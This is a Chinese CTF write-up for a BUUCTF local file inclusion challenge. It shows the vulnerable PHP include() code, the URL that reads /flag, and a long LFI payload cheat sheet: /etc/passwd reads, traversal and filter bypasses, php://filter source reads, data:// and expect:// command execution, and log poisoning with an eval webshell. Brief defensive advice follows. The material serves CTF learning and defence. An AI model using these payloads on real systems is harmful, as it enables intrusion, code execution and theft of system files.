BUUCTF——Basic——BUU LFI COURSE 11

这是一道 ** 本地文件包含(LFI)** 的入门题,核心思路是利用 PHP 的文件包含漏洞读取服务器上的flag文件。


1. 访问靶机并分析代码

打开题目给出的链接:http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81

页面会显示一段 PHP 代码,大致逻辑是:

php

运行

复制代码
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);
}
  • 代码接收GET参数file,并直接用include()函数包含该文件
  • 无任何过滤,存在典型的 LFI 漏洞

2. 构造 Payload 读取 flag

在 CTF 中,flag通常存放在服务器根目录/flag,我们直接构造 URL:

plaintext

复制代码
http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81/?file=/flag

访问后页面会直接显示flag内容,复制提交即可。

如果/flag路径不生效,也可以尝试路径穿越:

plaintext

复制代码
?file=../../../../flag

../向上跳转目录,最终定位到根目录的flag文件。


3. 提交 Flag

将页面显示的flag(格式通常为flag{...})复制到题目下方的输入框,点击提交即可完成解题。✅


💡 原理总结

这道题的核心是无过滤的文件包含

  • 攻击者可控file参数,直接指定服务器上的任意文件路径
  • PHP 的include()会读取并执行(如果是 PHP)或展示(如果是文本)目标文件内容
  • 本题只需读取文本形式的flag,无需代码执行

📝 LFI 漏洞常见 Payload 清单

一、基础文件读取(无过滤场景)

1. 直接读取绝对路径

plaintext

复制代码
?file=/etc/passwd          # Linux 系统用户信息
?file=/flag                # CTF 常见 flag 位置
?file=/var/log/apache2/access.log  # Apache 访问日志
?file=C:\Windows\System32\drivers\etc\hosts  # Windows hosts 文件

2. 相对路径穿越(绕过简单过滤)

plaintext

复制代码
?file=../../../../etc/passwd
?file=....//....//....//etc/passwd  # 绕过 ../ 过滤
?file=..././..././etc/passwd        # 绕过 ../ 过滤

二、PHP 协议利用(进阶利用)

1. php://filter 读取源码(关键!)

用于读取 PHP 等脚本文件的源码,避免被直接执行:

plaintext

复制代码
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=config.php

得到 Base64 后解码即可看到源码。

2. data:// 执行代码(需要 allow_url_include=On

plaintext

复制代码
?file=data://text/plain,<?php system('id');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKGlkKTs/Pg==

3. expect:// 执行系统命令(需要安装 expect 扩展)

plaintext

复制代码
?file=expect://id
?file=expect://ls /

4. phar:// 反序列化利用(配合反序列化漏洞)

plaintext

复制代码
?file=phar://shell.phar/shell.txt

三、日志包含 Getshell(经典 getshell 方式)

1. Apache 日志包含

  1. 先在 User-Agent 中写入一句话木马: plaintext

    复制代码
    <?php eval($_GET['cmd']);?>
  2. 访问日志文件: plaintext

    复制代码
    ?file=/var/log/apache2/access.log
    ?file=/var/log/httpd/access.log
  3. 访问 ?cmd=id 执行命令。

2. Nginx 日志包含

plaintext

复制代码
?file=/var/log/nginx/access.log
?file=/var/log/nginx/error.log

3. SSH 日志包含

plaintext

复制代码
?file=/var/log/auth.log
?file=/var/log/secure

先通过 SSH 连接时写入恶意代码到日志,再包含执行。


四、绕过技巧

1. 绕过路径限制

  • 双写绕过:....// → 解析为 ../
  • 编码绕过:%2e%2e%2f../
  • 空字节截断(PHP < 5.3.4):?file=/flag%00

2. 绕过后缀限制

  • 点号截断:?file=/flag............
  • 路径长度截断:?file=/../../../../../../../../../../../../flag
  • 协议绕过:用 php://filter 等协议直接读取。

五、CTF 场景高频 Payload

表格

场景 Payload
读 flag ?file=/flag
读源码 ?file=php://filter/convert.base64-encode/resource=index.php
日志 getshell ?file=/var/log/apache2/access.log
Windows 读 hosts ?file=C:\Windows\System32\drivers\etc\hosts

六、防御建议

  • 固定文件路径白名单,不允许用户直接控制文件路径
  • 过滤 ../php:// 等危险字符
  • 关闭 allow_url_include 和不必要的 PHP 协议
  • 使用 open_basedir 限制 PHP 可访问的目录
相关推荐
BullSmall7 小时前
第三方软件安全-Dependency‑Track Docker 部署
安全·docker·容器
AImatters8 小时前
国产算力底座,支撑油气储运数字化迈过关键分水岭
安全·cpu·算力·海光·油气储运
叠叠乐11 小时前
中国移动家庭云电脑window关闭所有安全脚本
安全
Jmyd012311 小时前
实训室的 3D 模型涉及肖像文物,数据安全与合规怎么做?
安全·3d·数据安全·虚拟实训
芯盾时代11 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
敢敢是只喵i11 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel123412 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
其实防守也摸鱼13 小时前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
深圳海导科技13 小时前
资产防盗追踪系统:物联网高价值资产安全管理|海导科技navynav
科技·物联网·安全
波多利希最高礼仪的握力器13 小时前
安全复制SCP
linux·服务器·安全